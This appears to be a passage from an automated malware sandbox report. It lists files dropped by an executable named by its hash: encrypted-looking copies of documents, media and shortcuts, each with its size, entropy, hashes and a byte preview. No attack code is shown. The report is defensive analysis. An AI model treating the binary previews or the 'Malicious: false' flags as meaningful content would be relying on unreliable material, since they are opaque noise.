Preview:	UMMBD^....=....3^-..p.&..)....&...~...N..Po..o.=....O....}.)...P..n.=t...\|........^=%k..x.....bIy......-o.#....H!......q.W..<.y.y.-xaw,..#....h;..bj......._..`.......zT.w....%U2c......A....(.~......E.Q.....?._P.....;..I...^......7GQ..%u.Z.G..{s...?K.4...6X.f..a.0.}.SCs..\..^.>.\........O..1.....8......7.. -.o.\...7..[+...!..pC......\q.E2.y..R}p.q...w.Ch..09\./.......OF.Q\|.........J..:.}....E.....IS+81.4....`.l.)..k{.wI...p..#8..m0.?$.!.\|....\|....%..D...dlV..T.c.-T.P..M.U...K....6..Do..B.........;xEt..e/..+g.-...#...#7U..}...'.A..:u..Q.wKt......u.Y~.6RZ...Y.k.......O<!.....v..."...H<.D.N..MM... 'u.D'.Jr..W...6.6v....PdM.e.$_.<>=cg&.@.!"...v..b..?0..l6U.9bZ]..f_.YH'..!...+..a:..........R0i..r.Hx.Sd<..I.#x....^.(.X..TC.....#...Q#)R._.y../...L.g...&r`D~}...A.@...nTPn.Y.l...^..Y[....N.' ' B].x.:.N.<..ya......."7.G.......H^..G... .W.3.e....b.....P/o.FKH...........)..0C.im5E.9.#P[....4..!..9`Z......)p......q..N........z...4...d.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853946333065081
Encrypted:	false
SSDEEP:	24:H4syTj7NWgewKBWqEWb33sOEUk6EccHkW1f8TJvAhpLbEMfLms2fh23zbD:RqfAHMURPkBEAfLhpLAWLu23nD
MD5:	585401C746EF47FAFB3EFED9897DB2DF
SHA1:	62BCF0FD6906769A7B81BB8A200768836F40ACFB
SHA-256:	0288967D8BA193A3C1ADE52058EDB70FA9BDF18B58371CC044372B4299CFDD42
SHA-512:	A5BBA5404AEAF5D190D3E5AFB56C34C60E1AF1B8BABA7F3EB210C9CE530D597453DDC09F1FD7E72143C07CDD45A61540D202DA17EF55A400CDBCB8E9BAC7125E
Malicious:	false
Preview:	VLZDG.....'./....\|..?^......(..c.1..9......5..5v.2Od../K.v...5...UM.X..Th$......-.....G...J.g>c..r....]..vB....UK...?...!.......7&#.=.3.A.F.ka,.]..--M.........Cn.......4.H.T....R..V.\2p{..a..R...]G:OR..?j.=...\.4S2;...h.'.sv.........B....qz......_X......T.._...].q..O..w..!.TQ..}.Aj....y.L.$0O[9.o..AL.T. ....E.u.>....<i...........j.Y]..a>...<.........@X_.M..h.J....b.j.N...$.......q]..C.q....\.M....A......[.(N,.p.H...Y..?.i.>...j.....e5.Q5...+Wh...W....f:2$W.f.q...+.h.k..a..__K..OW..F......&).9.;..k..z9..W....";......6.....&.;..!..Nr..:.\.B..)Ez...<e.....Q.j)..#.u.Cs.o.B.,.\|.OOn.\|..xn.d..zJ.5....5....z'.(J.r.mP...x...K5^Z....7......EGJ..U.v......{0.C...........k.xy..!.w'.P..:...DZm.?.........kN..>q.Ip7.i..7...A........r/.1;0q6..W.\.~.?..a....;^zj.z...A<&..,....S?..w...P.]..[Op].GjE...$i.......r.Cw.0D........ ....o.9.v..;...hvQ.Z..e].b....!.......z.8..lsi1G*..1.'..<..A`G..Mi.{.L.Q..g...'...a.J...s.T......\..._..ha.-.v@..mDL.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WKXEWIOTXI.docx

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84071602096172
Encrypted:	false
SSDEEP:	24:JDjUCyr3qkxM/o/lbsHDAKJTKYcE+0DyFO5jGhHljO0QrfA3zbD:x4nr1GwNoHDNJTKYcGDyYMtRO1rA3nD
MD5:	73394B2B9A4C2D7A115C129C8C002F15
SHA1:	BA421C107288AB31471C50E5B740076ADC2885EA
SHA-256:	3CA0049FF9907794A332966E7A9BAEFDE1F5146620506B5A83C9D06F449B0FE5
SHA-512:	B14F17BFBC66D53D6BDAC1987BEDF835BBB4A5B36C82F9F825078B1FC621DA653BB0665DFE8A2640969C5E2BE44B20A3922257398A86389507757727BCB43520
Malicious:	false
Preview:	WKXEW...d<[......,...>:U..^Co./.k.R=.T~.......Wk..3_B...O~oa.Rz..tTj.~..}Y.K.ooxXN.I..B6...../...iChLW..{.lv\|...\|..%.....;.......p ..\..>......w+..l.a&L..wSx..&.K. <VKY....(..o#.K..Q"..O.SG..4p.qs....%..)w.EJ......J..Ga...m..&......E.a..,ff!..g....?.M....d....=./...T:r.8.=I.`....}.]6.s..bj...S..R0s_.id..t~.b.$C......:Yv.Z.m.G.?..mU.}.bx.^L.4K^=..NMS{.....s.+_..@....D^E....s/.).'...If.4..j..+.N.&..y...~a.A}..x1.Mg..=.......t..0ZoCG....7..G.").c....O7(`...a...n.p.`....\|.m.Xm.r...6\<....t.u},<=-....,..S.....[.r.....D......2.[mQ.g....m......o.V......p.....b.......X...:.7f(......)....d..~F<Z....M.h..5........zl.E{.3 ......4..B.._.s._.0. 1qL.Y..0...rx..a.P.0+d.B.g-....Y..Q9.;..ld.u...[.......:z..gBnJ.\..o..6....5<...\|.Bc..}.d.. .........B$..+(.5.L....k.......Me......[8..Q.O...#.R.>.#.m[..Ad..L.....9.P.^...a.Q.......ry.....P.M.....j.E.)w+...z.L...g...b$....0L.XS.\|.do.?^_..PaL.BK........I.n}\.....R1.2.MA..6..*..?f...A

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WKXEWIOTXI.xlsx

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84912978089733
Encrypted:	false
SSDEEP:	24:2j8CPG0MivQoPxzvknxGMOnjEhWbiyR8LN3rUs6JZdsHhqVwitAPjm3zbD:KZPX3xzMn8/VGyR8LNbUs6dsFitP3nD
MD5:	F43DEFCC249562589A9721D2F37E68A2
SHA1:	582138801296FB9F6D470E1B68724F1DA4EB0574
SHA-256:	9439A3D3E4474DE1C462BE5CC9F4B7D434FD83A9728677AECE114B12DCFEFEDE
SHA-512:	7B745E08B44D784FA7B0C6CFCB32C9F868FFD7F9D2BBA9A9AB1AB20E6FCEE4F242585CC522D48E2E6C7DB616437D7AE650619770E493861D0FFE6C59BBE32040
Malicious:	false
Preview:	WKXEW!.......Z.-=.B..Q...r.....A@.'f.Zpj....K..N\.9.......H(....K.h.x...../.$.n...a.........W..bQ.d..63[......E..F.....cb...`...9.Nr.k.3_.............-..X..h......}D".H.@..W.PKg.:.../e.@q.8]....W`.c.~.e...2.4.3d9.`(aW.._..7..r..W.`.J,..4..i...... e.(....E2V.....R....F$..2.J../.PL..`;....m.6....8.....@.P.......S.V...Q>......_X..q.!.gT....1b...K.?;.)...... (..V..>.D....f.....qt..k..w...tN.p?7T..k..\|.X.4.3.P...0.....x.....~.)k...<d...d..^....\|.F..P.8..L,....m._h.....o....Q.y..e.........$....{.Q.......~R....zG...B$..e.m$h.^\|.j ..c..b_.m.Q...w..........M.'x.K.{2....E....6.j&.'..`...M.L.s2...&....i5..ac_VC...`.8..IeM..........._i..x.L,.....2)..0g...9..9......e....{;r...O.YJW.V.O.z,..9Iu.....N=............?....k)a..I]..vu..>.a..f..-V..F.e.n.(...\|.......=.d.b..... N.#}...l4~.h..9.Q...2.).=..-Z.:...B.8....^.B.k.....^g1s...\|v..t.......r...T&.w).m.)...uJ.....}..5H.i..D.f.....1.....g.A..\|'!.E........ZK.^l`.T.N.....w.:..kX...2....\.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WUTJSCBCFX.jpg

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846914889524784
Encrypted:	false
SSDEEP:	24:92kami40/jmmVH0PfuFFVjxGZ1J/XmrB33zbD:Utym6ulNG/ZXu3nD
MD5:	D82E72AC7B569FFC6DE6A2666F76FFAE
SHA1:	C93B86E4523C6F36D14B687D2BFDAE60C2F2DD02
SHA-256:	662807BFE4D60EBE74DDC6A5D1E0734A95FF501426FDB5478458F9CE22642923
SHA-512:	945AEAE0E9CEC28D114104D78EB367FCE4468635AF045D818BE5C966153DF941DB3C6CB6B7268EB0B39014A40256805DFD00A3388049B6B949DE7B40C381B24B
Malicious:	false
Preview:	WUTJSP8.v''.=:.X..y...(..d}....x..{....s:..`...C.kE.Ou.r.F...5.../.....YI....dv...^=.....}wZ5~.X.{.H.....,P..Z......!.t.-h....%}..8..v...CI z........Ae....}hFb..2P.b..D.;.v}...9._..k.?....:...C...E..8........PZ+[>Q..F ...N..Yb.gv..cNT..Gd..t..\...}.X.1.#v..g..q....R.X9.....u.".R....]..u..j]..Wc'.....`.&R.PGe..p.j.2......:....u...H....W..../z1.-..^>v..0...q.lL..5.4.=..;.._.ng....>.f....].mh.............#I.....6.....Q.0Tp.}D_q...n......#...R..;.....K4..C..,A.....j%.....,...]..XKX........#....s-0....0.SO...h.?.Xf....2.p>".....9......R..ys..L....A..PZ...w.5..A.2.=....b.....n..~(..T\8A.L..'.I.2.....R1BL>.>..&V.b.U.....Xm@'.tQ..5.j0en.k+2N_..,}..}L...M'H....Z.s.Z<....A...g.........q,..].......n'...3..U@.d.9...3......Na.....4.r..X..$....P....Rm./.\|..)..u.}m.....}Q.S.c....ouv.}.@.F_D.-.P.1..M\|0.._..?O.......vz.....j.u{Up.].P....m..8.P.....v.4...D+^9.>..mrT.:..02.>.j...-...9..(...qox./...**W...s..j..Y(...e...#.]{...qv..".M:..G(....).

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WXDORXTPKQ.mp3

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856697203456675
Encrypted:	false
SSDEEP:	24:J8noFL0/fzNsB+pHeK1djQSD+yoXRKYGeP1PCWeeE9ioO6LertgT3zbD:J8CL0HhsBUeK1dr+yoX3GeP7eX9DFyr4
MD5:	107F2BBA5B17DC2C27AF7C6268254F5B
SHA1:	61CDED583DC10116C30B4BCD44E53FB3B4F9325B
SHA-256:	5C7E841BF44C1FC03AB2C5387B007AD7166627DFC1680C0EF33FE12A8BA73CF3
SHA-512:	E12ED2624318CD2980F4D3674A629520889DD4CA7086584190BCC5CC938BB52FD67BAC9584C3AD5240836B6BF5845CDD7E03F2EB31159F8678D9B892420E9BB9
Malicious:	false
Preview:	WXDOR...k-m.. z.\|q.Ed.\.....j..JH.#.....3.9.#...-j..7.)..~.gB..-.C1W.x.Vm.bi......k...~Q.mi\.@09<%..+....}i........gi.OO.f..v..........71.~.;.y....=L...~(B.ZTkt...$F..sr2...l..1....`D@.Oc....d..'..;(.%M8o..n....eG.<)(+..K.;.=Q. ..z.J..$....'S...t...M.}.-. `[C..h.4.IQ..?..l(....W.w. YI>T..`q.HzV.1..ce....<4Gp.x<_..OEu...q"..]...o"=9_)%.A.7Ak............O...hT.".K..-=.....+.x[.B}E...'x...o#.h.zF6..X..N/n..-u..H.].&..AB.a.....ga^~5..}.K.l....<.$..f3..8./.v.7..h.$..)...z..e.U...]L.....=.3..kaG.~.O..GA.+@.m....(Z.N..C......s.G..n.b.2.0...xb...U\|..U5..gp(.9 H.z........f.&1..CB.. e].B....\/.....O.A..A.uY.S........d...s.7./.....j...Y=...............:".l....af...zp..c.._er.u..B.;..........u<..N..9..,KvV'6....w.+.i%Q...8...?..(W.+..$YZ..,....f..].. .,I.e..)I+^.....D.[.o5....clJ...p.1.b...~....K.s9%.q.h..(.xy@.y.>.Xd/."...A)m..X.{.>W.i7.L..[^..%..}...B.Td...<.%?...rK..>..a.G....`.M4^.....y0.t...K.;D..[s.......~[t...kg\.G=....@.R..Y.f.K!...g(~..N.r..o....=()z=.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\YPSIACHYXW.docx

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8736406151749625
Encrypted:	false
SSDEEP:	24:Jt9wfRMLkv1va+HymGgb2T7zv7i9WYCkIC4deqlZonsGvpzHigTo0Zk3zbD:JzQvg+HyjgSfzv+okn4deNnxHimoIk3D
MD5:	54C79C83A08564687A6879AF0B638E27
SHA1:	C5BA8F52A999EEDA1B5CB0E5FC2407E9E2EA2C4F
SHA-256:	ED530C5DCAD74227809E7AE4E5B829376FB2742D69CB26DD73ABC237BAA12502
SHA-512:	498EF2367FC02FDFA145DFAC5A4BE6FD13F094F01DE244CD78D1164579D05FC75B36E08A7B23DDA284284863F0340F4DA4A6826BEB0B2C8B22D3024ED2A98A5B
Malicious:	false
Preview:	YPSIA.Bv...m..Kw1+.....C.-.D..tx..P..8c....(.o....\.R\|\|.(..K...Y..>7(Y ~...@?.n.x..Nt.ih.(..#.)..v].J..t.9....c.x.[Bd.M....#5M....r........{t.~%..C...`H......Z."...d...W.r..Q..(...H.K..P..a.u.........Wa..........t.b.A......Y...K.x.S./....j.p....i.......5]..cz..u.8.d..}...........X.'\)"D..7..$.....x.N$.jL...M.hE7[1G$.....<1...P..@.k..%a.....&c.K.....a~!".XsVI3-#.*.kZ-(\|(ma........?92......wr...^w...$..Z7.........6...)...M!....H......X+U!.N.+.'.\s..#.U..m..k..wa@@...\|:.c.V7....i...v)..C.K.F..>...t...D.b...j...X.O`.,t..AyL..I.........YO.ks$H...W..S...k.....L..}@.k.K..g.y.As.>.x0..=.}6.<..o..@...X.....,......0....g...b....D.<t"@Q.!.b.P!},b.clX.=H.&..p.S./.AT.O....9W-B..:...9..~..hR./&_....Q.;KO,.[.@.Vd...~._Q...rZv..`Q..c.....Uj;/.stWQ]Y"xn.e.....FaO.D...l.h.]"f..j....3....K.5U.8...D...(0f$.j..=.4T..r..%h...]@Hk..Z.}3we.....l".:.%?..DJ.Q.... O.a..3\|..jg..mr.RK./....K.j......H.6.i.f.vD....v.3."'..V9.........c..+....:....O...Q.....T..\|..v..K.=.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZBEDCJPBEY.mp3

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873075907625922
Encrypted:	false
SSDEEP:	24:BPGj/9P66GkONqwkBu1+QxQPWJpbp4EzFsyH6SfsXVw3zbD:Bel6YskBga2gs3nD
MD5:	D76BFE241ACF36B738652D69013D8B92
SHA1:	7BF16089855C1604BB0E4DDBCCBB507924CF4BE3
SHA-256:	B04F04CB04F4981A74D20E7DC9C6BEBDF86E95D1ADA619EF34015B048599A21D
SHA-512:	AC02FE7CAD7F8825E232C1F388E83FF6B271678C3EFB9318678C5DFD1C68F4104E4DDBD2C5A387331525451D93919D7AF0AA1D966207F4162EC4F956C7C6FE64
Malicious:	false
Preview:	ZBEDC...h..[y\|.O..G.x.St\|.A;WC%...2...%R~d=.......L.:........\|.R.;.uS.e..".-.k..s....9d..sQ.-...[..y2.o...........#....T...L...~.b.....]........H~[...M...g...k......B..#.&./L.k..k...9...I.]....}..a..[..K....0.C.{..._%)hwr8.;!....R.t.C...C+1...s...'.5......E..(../....{....f.....t53<.-... e....\|..hGb.C...K... ........P.\|...F.J....<F$%.=:.R]6.......%.0..].....v_..@..}obM.W..D.rGu.......M.l$.y..a..7u.....y.,}.):...`.%.wD..#.(...v.4.{.C%..ZMWJ..6.V$$.."..=..x.@X..P.v.......l.]'..h..jb...........f7.).....#...&.z.q...h.?..L35.Rx+.g."gbYF..= ...;..9Mx..~....k.!...,..{.p<...:W.....j..iH....F..V.s..)jp...U..q..h......cv~,.=u..HaS...K..h..M2.....u...?...`....[....o...Vo@~...FF..=..B.k....F.p...i....3....~..L..{0H.0.7(....c....}.dm#..D.f KZ.....nM}%...gI.2.....G.......K.....I..d..y...L...+..j?L...s......'-(..\.....O....cnFe.....1^.>I.Kz.4%v...nF@#E. %^...o.5._<.g.q..6GO.>wc..4.N.......(.K9.R.pi....q-...`X5.....V0!.........}rv...%. ...wn\.8.j.W...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZGGKNSUKOP.png

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844960001409362
Encrypted:	false
SSDEEP:	24:v4Kda6Tq16BhB2ma0F7Aa8wvv1WzA/QgCEFm0dmsh4xmeUg3zbD:v4Ko6Tq8B7269A94dWzAogzFpsFf13nD
MD5:	029A94B57A139B66EFC27AD8FA06FEFB
SHA1:	0827F745A43B10CE2B592C31DA04B164DD33C197
SHA-256:	3AD1DCE3E00B9BC8DB2175AE9A463034D87024CB5965F3910495030A25666063
SHA-512:	05454FF869F16E9046006FAB8EB11599D59E313B302084B91F351D7506E94E9017206B75116EF69DA58FA1D0A9060E4D14A5F5F7FC00AD5C09BAA73B1D678993
Malicious:	false
Preview:	ZGGKN...5]j..O..@.o.KM_....(E-.W.'. !(f.B....~E...0/..T...N..N..4...6..C.m...y.70.L...x...._[\(......27.>....AKb\|.Eh...;.5.4\(.. Hv./}.e...E....W.3M..NZ....p.Mpl...zO..)..I........c..1..+,*.......W..o7.....R..i.....xU....kv.^...8..gZN..$os.`.N.DF.C].(t.T...=...H.i\..e.d....>.~......".T:.eub.g9.../.([..>n.........N.......2l2^..:...,.%.e..z....F.........A..cx.W...U...3R.......T.,.&..U7$L.;...w....gG...~9.....<..P..p..s.m.I.>.4....dx....#@..7Y....z..:.z.[.....HiDp..z_W..5..yFX.....Z..@.qU{...(r....F..>.8.D.I._X-i....&.M.m...S@e5...kwG...)e.[....8yy..f.........+..8n.....9...@..D.Y..eC..-...Z\|.X.....p.....&.W..zIm.6......N...xIz.Y...........p.xy. ...../.{.5...ch..H..m`o"..Nk.j..+...".eo.zZ.8....pm j2....\&.r..M. ....`..Z........,.[.=q&...~70.J...,.:...n..h`...h.Q..l..M...o....?..N.....;.y/...4.w=<.faB2M.....1M.W.).>....&...\|a...\. .......CA.?.E@.....V.-.n]i.2..[..8.......%....h2....s6c..8.y.i).......8.X.C.j.=A....f....i.u..`..<.YYx......w..z...T{

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZIPXYXWIOY.mp3

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8668789453117025
Encrypted:	false
SSDEEP:	24:qftrdw0Monp8OsN3x3NUD0pIyXM/L/cxmndIkUyUEWo9Go8e7AnV8wU3zbD:Odw0M2aOiKwIyc/QUI3m9GoBAVhU3nD
MD5:	CF4214BB60BD2D37DF839D46F3B4ECDA
SHA1:	5B65904347E7E26651E54FF4065CFA8CB827B652
SHA-256:	E86E9BA61278F82FB29BE8BC67DF477816A5CACD0B9E8F9FB6C7D70900E0D43F
SHA-512:	790E5633923FFBD068DE6AE3A1F90BFD835E844F5977401321AFD1518A5681BC8464CEE8A15A39B40D698F3D0C16F21A6BA37B6767F77959B0ADF17AE6F795A6
Malicious:	false
Preview:	ZIPXY..If..8[.....g....P&.{w.4.. .....Wx...?N^{dj..sE.B.`L.~.($....2..h....\.sx.c.B....:,...1.?....w.......U....V......14..HY.OC..(.47..<.@o\.\|.+%.}........N9.....U2.u..)....DR.ct...I..h......kKE`....j..rY......l......L.,o..s.CP(w.Xf.....".{.&.\s.x.)...nE@[:J.IC.B...8...cc...fR"QbY..su...D.(+....._.r.t=.\|.7A..u..;...U2..-5....`.d..O=.....OO....Q.Q ...Z4..%?.l........wJ..u..T......U..<.Z&.!......J.....G..M......!..ic..n.x...Q..~5d>..f......v.F.Q..V.:...gP.A.7r..>=...(.......%.'.3..&U....^Qi....Qtvv...5.9F....?R.]h+..u..=.V....V.kg$..Cl..}.y.r..U7.g.....9...z..U%V..K....)yH....G.Yz]....:b....,t...>..r..(..]...{.0.e....eoH.....d.......4...Od#\|....P[:.bC3..E...q K.#4.....a.\..WZm..0..7.}. ......."....A..^....Y..cx..}[......;5.R..f.p.d.3.......v#.j.(....s'..H.~_.!dB....n.a..,.....L0Kp...w.@q....282.5.%......M.q..2T:{.e...o.r`m(.<...~....,@.....I&.G.f2..]X..._..........\|.....i_.V....3.ax..lc.WHWH...n..(...r.~....#7I.._..v...{...L

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZIPXYXWIOY.pdf

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8292025070346165
Encrypted:	false
SSDEEP:	24:WiOGUBtLxRcwZCfWEU6ScDyRTEKCuUExNp7/Ptcrhy/T2vtolD5PoF213zbD:WnzTCeEUI8E1uUELpbV+hQT2Fo3PoF2J
MD5:	F274ECE847C607AFA355D8C160558D10
SHA1:	4640B10A8AEAA6694B5D58E362A054A283B7B7C4
SHA-256:	6C4CCF20F4214B72A974EDA371848E33CB9CF9091B59C7D5DF9D018794C295E1
SHA-512:	DC58C7D3C2B3FD9BA6C3CF3A539082D7B24A33B8713DA41713BF0FDD8FFEF1AB00CB919E7630BA3B029E398B338BCD48C502B26D6A20DCC3A97B08D13AAE3220
Malicious:	false
Preview:	ZIPXY?I.5.'..0..m\|.?i....r.<.0.+h.s.../...2..../.h...n....7...iIA..g.1.;+c.O..;TM....S!.b.x..0'%..\|[...R4.%g.UN.\|y.o..g.le.+.jy.x.s$f....{>.T.u.....O/.......<].P....O.P..U-Ky.`..[3}5:MS.#..N"1.n.d.....M..jc.......t...k...@.. E......p.=;U1..lI....s.+..%tU.J..A\.....i`T.E+Z.~&.../=.,j.H.....x....e..Ka..(,\|X.....n.@].l......s,....`.b.X..E..x\./.CO./(<=Kw?.........%.ByO..N?....?#..p...' vD....(/.W..w2./X......Ao.......\|>..........:......T....p........L9...#.&C..54Y.,.tf....N.i.....Z.2..O..K.0`.......X.7..e/..u....4..b\..A..::.1e..I..].+.NL.......L'.2h=4E.u......B.0.#.h.cj.o.......K.os..B.Lz.fa1.,EFt{=.....#.x_.*I...j8...SH; ..}6$.h.$.q....A.N.T7.1.WO.F..3a.z......7..3.....Ed....p~H.M..(1A..,Zk.G.;}....(.........?$l.\.(....w>3.k.FK..C...=$.^.$.c..$m.,.Q...q...w.c. ..$-...5A.n..l......\^...sZ.~.E.._`-.S.m.q..7[x..bH.wz.^.7.1ZI..%\..%m.K.HC.....\]I[.H..W...C..QS..t...Q.A...6x....w..f4........D.j....A..I.%.A..-v.o.Y.).....q..M.h..(...dW.=...L.

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Bluetooth File Transfer.LNK

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1383
Entropy (8bit):	7.833805600593504
Encrypted:	false
SSDEEP:	24:q7rTMFMuDBNLGQqx8rN0jxyICNVUcfNAvCutof+4EQ5KRudmVE9US1gFwN3zbD:q+M0BNLvqGN0ohvAvUFKRuMK9H1hN3nD
MD5:	AF3549B67ECDAF557B55305571F60C12
SHA1:	F8993947BF9BD53340A5E0A1E76B5757ED48B86E
SHA-256:	8788610B564ABFA6EE74E23150CA698F5EA63CD58D0B9633F34121BD6AC04E33
SHA-512:	A59395E029989DFE8F6A848A79017F165E70D4E6C56C569660EE6191B3E9984DBCB171FB9600C1DB1375FFF5A28916F7FD7261E33C60D702DD124D49879554E1
Malicious:	false
Preview:	L......ZN<z.e....wza\|....3..q.4......-..).E...\|.#-...I.#...K....lv.H./E.J..>k..\|t..I..i.7..7..6.J4...N.s.~..sO...-....k....+\|..,j..,...k)xx.}.k.:G.uF...x.............j:v.`.xnvh!.~.?7...#.cH&...L.gR#...W.f.q...G......oG.8_.(.i.rB....I..>K...0-..u..+.Q..]...:.(.\|...Q7....N..H...e.N...;.......w.d.M.muz....]..kv..R.-.....H\|.;Vo4B...._._....B..$.+.u.`P~K..y0...f.Y.".(.......N.&/g........4a.u.f2A....K\...Td`+............bq^..R..hh.&..~+.6....<:T. J..- ~. ......T..P:%..q+s....-9.<.w.[..z.\|...[..9.T....`Q....O.qH.B}....U\o.F....`J1;0.vg\..........DE.@.Cro..\|a.!..q0%..H;....9...\|YGt.?.l..].0KN......'....j.t......B.....:x...M,(].c.df.....z.t,>..w..m...Jp....%c....$.I.o.uT....2.Z...3./..{....Y..Q@.t.....p.s5..J .%..+W=......W\|.".....D..3...<VvW........+.c'-...8.=.+.....Kx.......C...WJ......d.O..r...\.!z.@.=\|^A#G...1....6..z...eV...8..[=V...>......?d...(j.~M.L...#..*-1....>Y...{....[?..x......." d.l..X8.\|......u....\|.I..:`...$5.r`.k...

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Desktop (create shortcut).DeskLink

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	341
Entropy (8bit):	7.244918162453175
Encrypted:	false
SSDEEP:	6:u2Zbm38CgePnQX8OdZFMXyFksIuUja9gAQoT5lbnzqVyp3OsVolWbz6Wcii96Z:5Z638Cgef5OLBIupQoT5lPqVUx36WciD
MD5:	DB86418975A5B441F38CA92295DAE735
SHA1:	9CE0A81F75FF6C529C71C7863A9E8D0A98357DF7
SHA-256:	34824DF04F3ED136A345AC18F37D34BE3A4C545C6D4E629EF9F0A13B716F1A49
SHA-512:	511F6B0CBDB6297A6748CA3D66A5BDF3C894FC419A6B6D719D088CBD4790920F4783843C265964318E234DFB1A21D168480C459CFD6B5154051FDCCDCCEC2836
Malicious:	false
Preview:	desktt......a?....#....>.a$..s..n.A.J)....l.A[_.zFB.._.......li.j...q...F.l..l...7...hR.k.&..K......A).....)...6.)$f/%k..\|...j.J.h..Be.......e..,.z..&d..h..S....Mbb.=vc.....P-K.+.......]...;...l.2X.@B:?.....]_.>..&B...I0.H..^...y\|a..7....e.6hi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Skype\RootTools\roottools.conf

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	410
Entropy (8bit):	7.470374895019116
Encrypted:	false
SSDEEP:	12:qSWwzHbvYE7DMVVCTrLPlYu7ij36Wcii9a:qSWwvLMVVsfPlW3zbD
MD5:	70AC65540CE62D0A9B54A756C1765992
SHA1:	1F3A947D3591BF1EB532CC8E180D0171EB48B014
SHA-256:	33D69ADA55A9FF5F3A8CCD2F915CAF0723EBE842A35E85F08ED1AC457B33EB6F
SHA-512:	80517872069F3A2ED2409D645A8AF69B18EBCE42862B3CE4D834CC6F360F3B53C846CF22DE04ED89767515661AB814466A1A2BB2DA1BCFA583E7C7A17688E410
Malicious:	false
Preview:	node_/.u.t.B.,.\ZT..qj.G......X..6..Z.v*.....E,.9.E......Q...XGm..^.fE..=i.t....N..Yc7i.(A..U..%..^.......=..<....o..h...0?h..q.A.Ff..-;<....>....L..s..x..'.........@.O#...^.P...9b.jH$t)C.-j2L...l.."..(...l}V8$Ww.az..A.....!..Z8....X..h..=.%..-:.i....^.t.E>[!k2J?....u..w...O.B.W`.T.../..-S+?$W.K....U.$.u.in.?.\..\|P.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\.curlrc.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.197239313309138
Encrypted:	false
SSDEEP:	6:KWPdusPRcgS57l6J0fbEkeblQ1HfB/WX62B9LlPubQpN8RgOsVolWbz6Wcii96Z:NPdusPDSllqmgkebSHfVvEL00pN8636Q
MD5:	FE5F20192247F7DCF6F2C8B898BFEEC7
SHA1:	BDCBCE1A088BAFFCDFE904A3FD03308B6F1E647E
SHA-256:	16EFDBEF3FAD102D899F856BB2EEE4073173AEBD5AD85A0F7BE5F9A523AC43F8
SHA-512:	B900B89AA229EB924013927CB861A893653D3EE52210081D14ABEFEAA2154DBEFBF88FDEE68EAE764777C4DC62BC8B5E7A090E0F46A6BE900BB74EAA69DBE2C7
Malicious:	false
